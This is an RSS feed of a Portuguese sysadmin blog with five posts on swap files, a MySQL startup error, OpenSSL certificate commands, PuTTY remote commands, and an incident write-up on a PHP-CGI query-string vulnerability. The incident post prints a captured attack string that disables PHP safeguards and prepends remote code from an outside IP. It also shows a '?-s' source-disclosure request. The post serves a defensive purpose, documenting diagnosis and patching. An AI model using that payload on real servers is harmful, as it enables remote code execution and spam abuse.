<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Linux Archives - Pereira, Thiago Santos.</title>
	<atom:link href="https://thiagosantos.com/blog/tag/linux/feed/" rel="self" type="application/rss+xml" />
	<link>https://thiagosantos.com/blog/tag/linux/</link>
	<description>the fun of code.</description>
	<lastBuildDate>Tue, 16 May 2023 21:07:36 +0000</lastBuildDate>
	<language>pt-BR</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.5</generator>
	<item>
		<title>Swap File &#8211; Por quê?</title>
		<link>https://thiagosantos.com/blog/735/linux/swap-file-por-que/</link>
					<comments>https://thiagosantos.com/blog/735/linux/swap-file-por-que/#respond</comments>
		
		<dc:creator><![CDATA[Pereira, Thiago Santos]]></dc:creator>
		<pubDate>Thu, 19 May 2022 12:35:50 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[swap]]></category>
		<category><![CDATA[swapon]]></category>
		<guid isPermaLink="false">https://thiagosantos.com/blog/?p=735</guid>

					<description><![CDATA[<p>Tenha. Quando você pega uma VM você paga pela RAM e pelo espaço em disco e a cloud te aluga RAM e espaço em disco. No entanto, se a VM vier automaticamente com um swap ativo a cloud vai precisar dispor de mais disco swap + o acordado. Se uma VM tem 512mb de RAM [&#8230;]</p>
<p>The post <a href="https://thiagosantos.com/blog/735/linux/swap-file-por-que/">Swap File &#8211; Por quê?</a> appeared first on <a href="https://thiagosantos.com/blog">Pereira, Thiago Santos.</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Tenha.</p>



<p>Quando você pega uma VM você paga pela RAM e pelo espaço em disco e a cloud te aluga RAM e espaço em disco. No entanto, se a VM vier automaticamente com um swap ativo a cloud vai precisar dispor de mais disco swap + o acordado. Se uma VM tem 512mb de RAM e 20Gb de disco, teria que dispor de pelo menos 256mb de swap, imagina essa escala para uma cloud com milhões de VMs. Por isso as VMs de diversas clouds vem sem SWAP File e deixa para você a responsabilidade de ativar! &lt;3</p>



<span id="more-735"></span>



<p><strong>O que afinal é o SWAP e para que serve?</strong></p>



<p>O swap file nada mais é que um espaço no seu disco destinado a receber dados que estão na memória quando o seu sistema está ficando sem para continuar rodandos as aplicações. O kernel notando que vai dar merda pega uma sessão da RAM que está destinada a um programa que está com baixa prioridade ou em espera e coloca temporariametne dentro do swap. Liberando assim a memória RAM para continuar funcionando.</p>



<p>Imagina que o seu sistema está rodando, tem pouca memória, precisa executar novos processos, mas não tem SWAP configurado. O que acontece? Sim, dá merda. O kernel vem matando os processos através do <em><a href="https://rakeshjain-devops.medium.com/linux-out-of-memory-killer-31e477a45759" target="_blank" rel="noreferrer noopener">OOM Killer</a></em>, mas antes ele lança essa bela imagem.</p>



<figure class="wp-block-image size-large"><img fetchpriority="high" decoding="async" width="1024" height="580" src="https://thiagosantos.com/blog/wp-content/uploads//2022/05/image-1-1024x580.png" alt="" class="wp-image-739" srcset="https://thiagosantos.com/blog/wp-content/uploads/2022/05/image-1-1024x580.png 1024w, https://thiagosantos.com/blog/wp-content/uploads/2022/05/image-1-300x170.png 300w, https://thiagosantos.com/blog/wp-content/uploads/2022/05/image-1-768x435.png 768w, https://thiagosantos.com/blog/wp-content/uploads/2022/05/image-1-624x354.png 624w, https://thiagosantos.com/blog/wp-content/uploads/2022/05/image-1.png 1163w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p><strong>Criar um SWAP file</strong></p>



<p>O comando abaixo aloca um gigabyte para o swap localizado na raiz do sistema no arquivo <em>swapfile</em>. Minha sugestão é que você coloque o seu arquivo numa partição que tenha um disco rápido.</p>



<pre class="wp-block-code"><code>sudo fallocate -l 1G /swapfile
</code></pre>



<p>Restrinja a manipulação somente ao usuário ROOT</p>



<pre class="wp-block-code"><code>sudo chmod 600 /swapfile
</code></pre>



<p>Formatamos o nosso arquivo para o formato SWAP</p>



<pre class="wp-block-code"><code>sudo mkswap /swapfile</code></pre>



<p>Ativamos o swap que acabamos de criar</p>



<pre class="wp-block-code"><code>sudo swapon /swapfile</code></pre>



<p>Para ver rodando basta dar um &#8220;TOP&#8221; ou &#8220;HTOP&#8221; e vai ver lá o swap, é possível que assim que você crie e habilite o swap não esteja sendo utulizado, mas com o passar de algum tempo vai estar lá ele sendo utilizado.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="937" height="74" src="https://thiagosantos.com/blog/wp-content/uploads//2022/05/image.png" alt="" class="wp-image-742" srcset="https://thiagosantos.com/blog/wp-content/uploads/2022/05/image.png 937w, https://thiagosantos.com/blog/wp-content/uploads/2022/05/image-300x24.png 300w, https://thiagosantos.com/blog/wp-content/uploads/2022/05/image-768x61.png 768w, https://thiagosantos.com/blog/wp-content/uploads/2022/05/image-624x49.png 624w" sizes="(max-width: 937px) 100vw, 937px" /></figure>



<p>Pode também rodar o swapon &#8211;show para listar os swaps ativos</p>



<pre class="wp-block-code"><code>sudo swapon --show</code></pre>



<figure class="wp-block-image aligncenter size-full"><img decoding="async" width="279" height="33" src="https://thiagosantos.com/blog/wp-content/uploads//2022/05/image-2.png" alt="" class="wp-image-744"/></figure>



<p>Fonte:</p>



<p><a href="https://rakeshjain-devops.medium.com/linux-out-of-memory-killer-31e477a45759">https://rakeshjain-devops.medium.com/linux-out-of-memory-killer-31e477a45759</a></p>



<p><a href="https://diolinux.com.br/tutoriais/como-trabalhar-com-swap-files-no-ubuntu.html">https://diolinux.com.br/tutoriais/como-trabalhar-com-swap-files-no-ubuntu.html</a></p>
<p>The post <a href="https://thiagosantos.com/blog/735/linux/swap-file-por-que/">Swap File &#8211; Por quê?</a> appeared first on <a href="https://thiagosantos.com/blog">Pereira, Thiago Santos.</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://thiagosantos.com/blog/735/linux/swap-file-por-que/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>MySQL fora do ar com InnoDB: Error: pthread_create returned 11</title>
		<link>https://thiagosantos.com/blog/475/linux/mysql-fora-do-ar-com-innodb-error-pthread_create-returned-11/</link>
					<comments>https://thiagosantos.com/blog/475/linux/mysql-fora-do-ar-com-innodb-error-pthread_create-returned-11/#respond</comments>
		
		<dc:creator><![CDATA[Pereira, Thiago Santos]]></dc:creator>
		<pubDate>Tue, 04 Jun 2013 13:46:57 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[ulimit]]></category>
		<guid isPermaLink="false">http://thiagosantos.com/blog/?p=475</guid>

					<description><![CDATA[<p>Hoje pela manhã recebi algumas notificações, do Magento, dizendo que ele não conseguia se conectar ao MySQL. Como é de praxe, e sempre que acontece isso eu reinicio o MySQL no MK01 e tudo volta ao normal. Dessa vez, não foi assim. O MySQL estava falhando a cada tentativa minha de iniciar ele, o log abaixo, [&#8230;]</p>
<p>The post <a href="https://thiagosantos.com/blog/475/linux/mysql-fora-do-ar-com-innodb-error-pthread_create-returned-11/">MySQL fora do ar com InnoDB: Error: pthread_create returned 11</a> appeared first on <a href="https://thiagosantos.com/blog">Pereira, Thiago Santos.</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div>
<div>
<p>Hoje pela manhã recebi algumas notificações, do Magento, dizendo que ele não conseguia se conectar ao MySQL. <span style="line-height: 1.714285714; font-size: 1rem;">Como é de praxe, e sempre que acontece isso eu reinicio o MySQL no MK01 e tudo volta ao normal.</span></p>
</div>
</div>
<p>Dessa vez, não foi assim. O MySQL estava falhando a cada tentativa minha de iniciar ele, o log abaixo, do arquivo /var/log/syslog, é o da primeira tentativa de reiniciar o MySQL:</p>
<div>
<div>
<div>
<div style="padding-left: 30px;"><i><i>Jun  4 09:48:29 mk01 mysqld: 130604  9:48:29 [Note] /usr/sbin/mysqld: Normal shutdown<br />
Jun  4 09:48:29 mk01 mysqld:<br />
Jun  4 09:48:29 mk01 mysqld: 130604  9:48:29 [Note] Event Scheduler: Purging the queue. 0 events<br />
Jun  4 09:48:29 mk01 mysqld: 130604  9:48:29  InnoDB: Starting shutdown&#8230;<br />
Jun  4 09:48:29 mk01 mysqld_safe: Starting mysqld daemon with databases from /var/lib/mysql<span id="more-475"></span><br />
Jun  4 09:48:29 mk01 mysqld: 130604  9:48:29 [Note] Plugin &#8216;FEDERATED&#8217; is disabled.<br />
Jun  4 09:48:29 mk01 mysqld: 130604  9:48:29  InnoDB: Initializing buffer pool, size = 8.0M<br />
Jun  4 09:48:29 mk01 mysqld: 130604  9:48:29  InnoDB: Completed initialization of buffer pool<br />
<span style="color: #ff0000;">Jun  4 09:48:29 mk01 mysqld: InnoDB: Error: pthread_create returned 11</span><br />
Jun  4 09:48:29 mk01 mysqld_safe: mysqld from pid file /var/run/mysqld/mysqld.pid ended<br />
Jun  4 09:48:30 mk01 mysqld: 130604  9:48:30  InnoDB: Shutdown completed; log sequence number 86 1389841072<br />
Jun  4 09:48:30 mk01 mysqld: 130604  9:48:30 [Note] /usr/sbin/mysqld: Shutdown complete<br />
Jun  4 09:48:30 mk01 mysqld:<br />
Jun 4 09:48:30 mk01 mysqld_safe: mysqld from pid file /var/run/mysqld/mysqld.pid ended<br />
Jun 4 09:48:43 mk01 /etc/init.d/mysql[5990]: 0 processes alive and &#8216;/usr/bin/mysqladmin &#8211;defaults-file=/etc/mysql/debian.cnf ping&#8217; resulted in<br />
Jun 4 09:48:43 mk01 /etc/init.d/mysql[5990]: #007/usr/bin/mysqladmin: connect to server at &#8216;localhost&#8217; failed<br />
Jun 4 09:48:43 mk01 /etc/init.d/mysql[5990]: error: &#8216;Can&#8217;t connect to local MySQL server through socket &#8216;/var/run/mysqld/mysqld.sock&#8217; (2)&#8217;<br />
Jun 4 09:48:43 mk01 /etc/init.d/mysql[5990]: Check that mysqld is running and that the socket: &#8216;/var/run/mysqld/mysqld.sock&#8217; exists!<br />
Jun 4 09:48:43 mk01 /etc/init.d/mysql[5990]:</i></i></div>
<p>&nbsp;</p>
<div style="padding-left: 30px;"></div>
<p>&nbsp;</p>
<p>As demais tentativas de iniciar ele foram falhas, exibindo no log mensagem parecida. Analisando com calma as mensagens do log verifiquei que um dos primeiros erros era o do &#8220;InnoDB: Error: pthread_create returned 11&#8221;. Procurando na internet por esse mesmo erro encontrei o site <a href="http://i-am-a-system-admin.blogspot.com.br/2012/03/mysql-installation-error-innodb-error.html">http://i-am-a-system-admin.blogspot.com.br/2012/03/mysql-installation-error-innodb-error.html</a> que sugere a liberação dos recursos de stack para os processos da máquina.</p>
</div>
<blockquote><p><span style="color: #993300;"><i>ulimit -s unlimited</i></span></p></blockquote>
</div>
<div>
<div><span style="font-size: 1rem; line-height: 1;">Depois de rodar o comando, reiniciei o MySQL e ele levantou. Até o momento tudo voltou a funcionar.</span></div>
<div></div>
<div>Para saber mais sobre o comando ulimit acesse <a href="http://ss64.com/bash/ulimit.html">http://ss64.com/bash/ulimit.html</a></div>
<div></div>
<div></div>
</div>
</div>
<p>The post <a href="https://thiagosantos.com/blog/475/linux/mysql-fora-do-ar-com-innodb-error-pthread_create-returned-11/">MySQL fora do ar com InnoDB: Error: pthread_create returned 11</a> appeared first on <a href="https://thiagosantos.com/blog">Pereira, Thiago Santos.</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://thiagosantos.com/blog/475/linux/mysql-fora-do-ar-com-innodb-error-pthread_create-returned-11/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>PHP-CGI query string parameters vulnerabitily</title>
		<link>https://thiagosantos.com/blog/397/php/php-cgi-query-string-parameters-vulnerabitily/</link>
					<comments>https://thiagosantos.com/blog/397/php/php-cgi-query-string-parameters-vulnerabitily/#respond</comments>
		
		<dc:creator><![CDATA[Pereira, Thiago Santos]]></dc:creator>
		<pubDate>Fri, 08 Jun 2012 19:10:38 +0000</pubDate>
				<category><![CDATA[Apache]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Webservers]]></category>
		<category><![CDATA[invasão cgi]]></category>
		<category><![CDATA[php-cgi]]></category>
		<category><![CDATA[query string vunerability]]></category>
		<guid isPermaLink="false">http://thiagosantos.com/blog/?p=397</guid>

					<description><![CDATA[<p>Uma massa de emails que lotou o espaço em disco do HD de um dos servidores da empresa em qual trabalho foi o que motivou esse post. Na verdade o fim do espaço em disco me levou a encontrar um BUG no PHP-CGI 5.2.6 que levava a execução de código arbitrário a partir dos parâmetros de linha de comando</p>
<p>The post <a href="https://thiagosantos.com/blog/397/php/php-cgi-query-string-parameters-vulnerabitily/">PHP-CGI query string parameters vulnerabitily</a> appeared first on <a href="https://thiagosantos.com/blog">Pereira, Thiago Santos.</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Uma massa de emails que lotou o espaço em disco do HD de um dos servidores da empresa em qual trabalho foi o que motivou esse post. Na verdade o fim do espaço em disco me levou a encontrar um BUG no PHP-CGI 5.2.6 que levava a execução de código arbitrário a partir dos parâmetros de linha de comando. Ou seja com o comando</p>
<pre>http://localhost/index.php?-s</pre>
<p>Você obtém o conteúdo do código PHP. Isso é muito bizarro!</p>
<h2><span style="color: #3366ff;">1. O que estava acontecendo?</span></h2>
<p>Uma massa de emails de spam estavam sendo enviados como sendo da Fedex, identificamos esses emails e paramos o Postfix. No momento em que paramos, observamos a crescente fila de email e o decrescente espaço em disco.</p>
<p>Localizamos o foco da invasão, um dos sites que administramos estava com permissão na pasta e nos arquivos de usuário e grupo para o www-data. E o spammer havia criado um arquivo chamado pagenews.php e umas variações de w98089n.php (w[0-9]{1,8}n.php, mais ou menos isso).<br />
<span id="more-397"></span><br />
O arquivo pagenews.php e as suas cópias w[0-9]{1,8}n.php continham um exploid com uma lista de diretorios, opções de criar, remover e editar aquivos, enviar email, e enviar em lote, além de um console e auto-remove.</p>
<p>De imediato criamos uma copia do pagenews.php, para analizarmos depois, e em seguida deletamos todos os arquivos. Em seguida mudamos as permissões da pasta e arquivos para um usuário padrão e seguro. Com isso achamos que os disparos de emails fosse parar, mas não foi o que aconteceu, a fila de emails só crescia.</p>
<p>Dai então procuramos por todo o servidor por rastros de outros arquivos e não encontramos nada!</p>
<h1><span style="color: #3366ff;">2. O que fizemos?</span></h1>
<p>Nesse servidor invadido só roda PHP, ou seja estavam de alguma forma usando a função mail() para disparar spams. Dai seguindo as dicas desse site (<a href="http://www.howtoforge.com/how-to-log-emails-sent-with-phps-mail-function-to-detect-form-spam">http://www.howtoforge.com/how-to-log-emails-sent-with-phps-mail-function-to-detect-form-spam</a>) criei um wrapper pra monitorar o envio dos emails usando a função mail do PHP. Funcionou muito bem, dai fiz um up nele. Na verdade eu não queria só saber de qual site estava sendo disparado o email, mas queria saber também de qual script php, e quais parametros estavam sendo passados para ele, logo o meu <em>phpsendmail</em> ficou assim.</p>
<p><em>/usr/local/bin/phpsendmail</em></p>
<pre style="overflow: auto, height: 300px;" lang="php">#!/usr/bin/php

<!--?php 

/**
  This script is a sendmail wrapper for php to log calls of the php mail()
function.
  Author: Till Brehm, www.ispconfig.org
  (Hopefully) secured by David Goodwin <david @ _palepurple_.co.uk-->
*/

$sendmail_bin = '/usr/sbin/sendmail';
$logfile = '/var/log/mail.form';

//* Get the email content
$logline = '';
$pointer = fopen('php://stdin', 'r');

while ($line = fgets($pointer)) {
        if(preg_match('/^to:/i', $line) || preg_match('/^from:/i', $line)) {
                $logline .= trim($line).' ';
        }
        $mail .= $line;
}

//* compose the sendmail command
$command = 'echo ' . escapeshellarg($mail) . ' | '.$sendmail_bin.' -t -i';
for ($i = 1; $i &lt; $_SERVER['argc']; $i++) {         $command .= escapeshellarg($_SERVER['argv'][$i]).' '; } //* Write the log file_put_contents($logfile, date('Y-m-d H:i:s') . ' ' . " \n\n ----\n".print_r($_ENV,true)."\n\n" . ' '     .$logline."\n\n", FILE_APPEND); //* Execute the command return shell_exec($command); ?&gt;</pre>
<p>O passo a passo pode seguir o do link do site que eu mandei, o wrapper recomendo usar o meu que fica mais fácil de ver as variáveis de ambiente no momento da execução do código.</p>
<p>Feito isso, comecei a monitorar o /var/log/mail.form com o comando tail.</p>
<p>shell~# tail -f /var/log/mail.form</p>
<p>O retorno foi inesperado e surpreendente como segue:</p>
<pre>To: xxxxxxx@yahoo.com From: "FedEx Service" &lt;information@fedex.com&gt;

2012-06-08 12:16:32

 ----
Array
(
    [SERVER_SIGNATURE] =&gt; &lt;address&gt;Apache/2.2.9 (Debian) PHP/4.4.6-2 proxy_html/3.0.0 mod_python/3.3.1 Python/2.5.2 mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0 Server at meusiteemphp.com.br Port 80&lt;/address&gt;

    [ORIG_PATH_TRANSLATED] =&gt; /var/www/sites/meusiteemphp/index.php
    [REDIRECT_SCRIPT_URL] =&gt; /index.php
    [HTTP_USER_AGENT] =&gt; Mozilla/5.0 (Windows NT 6.1; U;WOW64; de;rv:11.0) Gecko Firefox/11.0
    [SERVER_PORT] =&gt; 80
    [HTTP_HOST] =&gt; meusiteemphp.com.br
    [REDIRECT_SCRIPT_URI] =&gt; http://meusiteemphp.com.br/index.php
    [HTTP_EXPECT] =&gt; 100-continue
    [REDIRECT_HANDLER] =&gt; php5-cgi
    [DOCUMENT_ROOT] =&gt; /var/www/sites/meusiteemphp
    [SCRIPT_FILENAME] =&gt; /var/www/sites/meusiteemphp/index.php
    [REQUEST_URI] =&gt; /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.83%2Fsend.txt
    [SCRIPT_NAME] =&gt; /index.php
    [SCRIPT_URI] =&gt; http://meusiteemphp.com.br/index.php
    [REMOTE_PORT] =&gt; 32822
    [ORIG_SCRIPT_FILENAME] =&gt; /usr/lib/cgi-bin/php5
    [PATH] =&gt; /usr/local/bin:/usr/bin:/bin
    [SCRIPT_URL] =&gt; /index.php
    [PWD] =&gt; /var/www/sites/meusiteemphp
    [SERVER_ADMIN] =&gt; exemplo@exemplo.com.br
    [REDIRECT_STATUS] =&gt; 200
    [REDIRECT_QUERY_STRING] =&gt; -dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.83%2Fsend.txt
    [ORIG_SCRIPT_NAME] =&gt; /php5-cgi
    [HTTP_ACCEPT] =&gt; */*
    [REMOTE_ADDR] =&gt; 31.184.244.28
    [SHLVL] =&gt; 1
    [SERVER_NAME] =&gt; meusiteemphp.com.br
    [CONTENT_LENGTH] =&gt; 370977
    [SERVER_SOFTWARE] =&gt; Apache/2.2.9 (Debian) PHP/4.4.6-2 proxy_html/3.0.0 mod_python/3.3.1 Python/2.5.2 mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
    [QUERY_STRING] =&gt; -dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.83%2Fsend.txt
    [SERVER_ADDR] =&gt; 173.255.255.255
    [GATEWAY_INTERFACE] =&gt; CGI/1.1
    [SERVER_PROTOCOL] =&gt; HTTP/1.1
    [REDIRECT_URL] =&gt; /index.php
    [CONTENT_TYPE] =&gt; multipart/form-data; boundary=----------------------------0e65a7f6d6ad
    [REQUEST_METHOD] =&gt; POST
    [ORIG_PATH_INFO] =&gt; /index.php
    [_] =&gt; /usr/local/bin/phpsendmail
)</pre>
<p>Atenção aos indices REQUEST_URI e REQUEST_HANDLER. Ataque claro:</p>
<pre>-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.83%2Fsend.txt</pre>
<p>Peguei o arquivo send.txt e tinha um código todo organizado e bonitinho para envio de email. Com esses parametros a invasão estava dada, foi assim que o spammer conseguiu criar o arquivo pagenews.php e seus derivados, e mesmo após deletarmos os arquivos ele continuou mandando email.</p>
<p>Achei o seguinte no PHP.net <a href="https://bugs.php.net/bug.php?id=61910">https://bugs.php.net/bug.php?id=61910</a> :</p>
<pre>According to PHP's website, "PHP is a widely-used general-purpose
scripting language that is especially suited for Web development and
can be embedded into HTML." When PHP is used in a CGI-based setup
(such as Apache's mod_cgid), the php-cgi receives a processed query
string parameter as command line arguments which allows command-line
switches, such as -s, -d or -c to be passed to the php-cgi binary,
which can be exploited to disclose source code and obtain arbitrary
code execution.</pre>
<p>Dito e feito, funcionou de verdade, e o pior que foi comigo.<br />
Mas fica para aprendermos.</p>
<h1><span style="color: #3366ff;">3. O que foi feito?</span></h1>
<p>Atualizamos a versão do PHP da 5.2.6 para a 5.4.3 e aparentemente o envio em massa de email foi interrompido, de qualquer forma continuamos o monitoramento dos emails.</p>
<p>Boa sorte!</p>
<p>Referencias:<br />
<a href="http://www.php.net/archive/2012.php#id2012-05-03-1">http://www.php.net/archive/2012.php#id2012-05-03-1</a><br />
<a href="https://bugs.php.net/bug.php?id=61910">https://bugs.php.net/bug.php?id=61910</a><br />
<a href="http://www.howtoforge.com/how-to-log-emails-sent-with-phps-mail-function-to-detect-form-spam">http://www.howtoforge.com/how-to-log-emails-sent-with-phps-mail-function-to-detect-form-spam</a></p>
<p>The post <a href="https://thiagosantos.com/blog/397/php/php-cgi-query-string-parameters-vulnerabitily/">PHP-CGI query string parameters vulnerabitily</a> appeared first on <a href="https://thiagosantos.com/blog">Pereira, Thiago Santos.</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://thiagosantos.com/blog/397/php/php-cgi-query-string-parameters-vulnerabitily/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Guia rápido de conversão e criação de certificados</title>
		<link>https://thiagosantos.com/blog/293/linux/guia-rapido-de-conversao-de-certificados/</link>
					<comments>https://thiagosantos.com/blog/293/linux/guia-rapido-de-conversao-de-certificados/#comments</comments>
		
		<dc:creator><![CDATA[Pereira, Thiago Santos]]></dc:creator>
		<pubDate>Mon, 10 Oct 2011 13:36:05 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[cer to crt]]></category>
		<category><![CDATA[certificados]]></category>
		<category><![CDATA[generate a rsa key]]></category>
		<category><![CDATA[gerando uma chave rsa]]></category>
		<category><![CDATA[linux shell]]></category>
		<category><![CDATA[openssl]]></category>
		<category><![CDATA[rsa key]]></category>
		<guid isPermaLink="false">http://thiagosantos.com/blog/?p=293</guid>

					<description><![CDATA[<p>Todos os comandos para a conversão do certificado ou a criação são feitos por linha de comando no Linux, a distro que usei foi o Gentoo.</p>
<p>The post <a href="https://thiagosantos.com/blog/293/linux/guia-rapido-de-conversao-de-certificados/">Guia rápido de conversão e criação de certificados</a> appeared first on <a href="https://thiagosantos.com/blog">Pereira, Thiago Santos.</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p style="text-align: center;">Esse é um guia rápido de referência para a conversão de certificados e a criação de certificados. Todos os comandos para a conversão ou a criação foram feitos no shell do Linux, a distro que usei foi o Gentoo.<span id="more-293"></span></p>
<p style="padding-left: 30px;"><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif;"><strong>Gerar uma chave RSA(RSA Key) </strong></span></p>
<p style="padding-left: 30px;">Chave de 1024 bits</p>
<pre>openssl genrsa -out  chave_privada.key 1024</pre>
<p style="padding-left: 30px;">Chave de 2048 bits</p>
<pre>openssl genrsa -out chave_privada.key 2048</pre>
<p style="padding-left: 30px;"><strong>Gerando um CSR (Certificate Signing Request) a partir de uma RSA Key</strong></p>
<pre>openssl req -new -key chave_privada.key -out req_cert.csr</pre>
<p style="padding-left: 30px;"><strong><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif;">Converter .CER para .CRT</span></strong></p>
<pre>openssl x509 -inform DER -in cert.cer -out cert.crt</pre>
<p style="padding-left: 30px;"><strong> Gerando um certificado auto assinado<br />
</strong>Você pode usar internamente esse tipo de certificado para validar seus sites rodando localmente.</p>
<pre><code>openssl x509 -req -in req_cert.csr -signkey chave_privada.key -out meu_certificado.crt</code></pre>
<p>O conteúdo desse post é baseado nas minhas experiências implicando diretamente na quantidade de conteúdo escrito aqui, ou seja conforme for encontrando a necessidade de aprender algo novo sobre OpenSSL, certificados, chaves RSA vou postando aqui.</p>
<p>Referencia:<br />
<a href="http://www.openssl.org/docs/apps/genrsa.html#NAME">http://www.openssl.org/docs/apps/genrsa.html<br />
</a><a href="http://www.openssl.org/docs/apps/req.html">http://www.openssl.org/docs/apps/req.html</a><a href="http://www.openssl.org/docs/apps/genrsa.html#NAME"><br />
</a><a href="http://www.akadia.com/services/ssh_test_certificate.html">http://www.akadia.com/services/ssh_test_certificate.html</a><a href="http://www.openssl.org/docs/apps/genrsa.html#NAME"> </a></p>
<p>&nbsp;</p>
<p>The post <a href="https://thiagosantos.com/blog/293/linux/guia-rapido-de-conversao-de-certificados/">Guia rápido de conversão e criação de certificados</a> appeared first on <a href="https://thiagosantos.com/blog">Pereira, Thiago Santos.</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://thiagosantos.com/blog/293/linux/guia-rapido-de-conversao-de-certificados/feed/</wfw:commentRss>
			<slash:comments>7</slash:comments>
		
		
			</item>
		<item>
		<title>Executando comandos em Linux a partir do Windows</title>
		<link>https://thiagosantos.com/blog/109/linux/executando-comandos-em-linux-a-partir-do-windows/</link>
					<comments>https://thiagosantos.com/blog/109/linux/executando-comandos-em-linux-a-partir-do-windows/#comments</comments>
		
		<dc:creator><![CDATA[Pereira, Thiago Santos]]></dc:creator>
		<pubDate>Thu, 08 Jul 2010 19:50:37 +0000</pubDate>
				<category><![CDATA[Linha de comando]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[SSH]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[cmd]]></category>
		<category><![CDATA[command line]]></category>
		<category><![CDATA[executando comandos remotos]]></category>
		<category><![CDATA[putty]]></category>
		<guid isPermaLink="false">http://www.thiagosantos.com/blog/?p=109</guid>

					<description><![CDATA[<p>Afim de automatizar alguns sistemas da empresa se fez necessário que tivessemos de chamar a partir do Windows um script em Python em um outro servidor.</p>
<p>The post <a href="https://thiagosantos.com/blog/109/linux/executando-comandos-em-linux-a-partir-do-windows/">Executando comandos em Linux a partir do Windows</a> appeared first on <a href="https://thiagosantos.com/blog">Pereira, Thiago Santos.</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Afim de automatizar alguns sistemas da empresa se fez necessário que tivessemos de chamar a partir do Windows um script em Python em um outro servidor.</p>
<p>Eu sabia que dava pra fazer dava pra fazer isso de linux para linux via linha de comando usando o ssh, dai achei que também daria pra fazer com o Putty, via linha de comando do Windows.<br />
Bem é possível: <a href="http://the.earth.li/~sgtatham/putty/0.60/htmldoc/Chapter3.html#using-cmdline">http://the.earth.li/~sgtatham/putty/0.60/htmldoc/Chapter3.html#using-cmdline</a></p>
<p>Como segue:</p>
<blockquote><p>putty.exe -pw SENHA bingo@server.exemplo.com -P 2233 -m comandos.txt</p></blockquote>
<p>Opções<br />
	<strong>-pw</strong> senha do usuário bingo do server.exemplo.com<br />
	&#8211; bingo@server.exemplo.com | [<strong>user</strong>@<strong>host</strong>]<br />
		user &#8211; bingo<br />
		host &#8211; server.exemplo.com</p>
<p>	<strong>-P</strong> porta do ssh, normalmente é 22. Mas no meu caso tive que alterar<br />
	<strong>-m</strong> caminho para o arquivo local que contém os comandos a serem executados</p>
<p><strong>comandos.txt:</strong></p>
<blockquote><p>python /home/bingo/upload_arquivos.py<br />
python /home/bingo/deleta_arquivos.py<br />
wget http://www.site.com</p></blockquote>
<p>contei com a ajuda de Douglas Maciel: <a href="http://twitter.com/_dmaciel_">twitter.com/_dmaciel_</a></p>
<p>É isso é realmente muito útil!<br />
Até mais,</p>
<p>The post <a href="https://thiagosantos.com/blog/109/linux/executando-comandos-em-linux-a-partir-do-windows/">Executando comandos em Linux a partir do Windows</a> appeared first on <a href="https://thiagosantos.com/blog">Pereira, Thiago Santos.</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://thiagosantos.com/blog/109/linux/executando-comandos-em-linux-a-partir-do-windows/feed/</wfw:commentRss>
			<slash:comments>3</slash:comments>
		
		
			</item>
	</channel>
</rss>
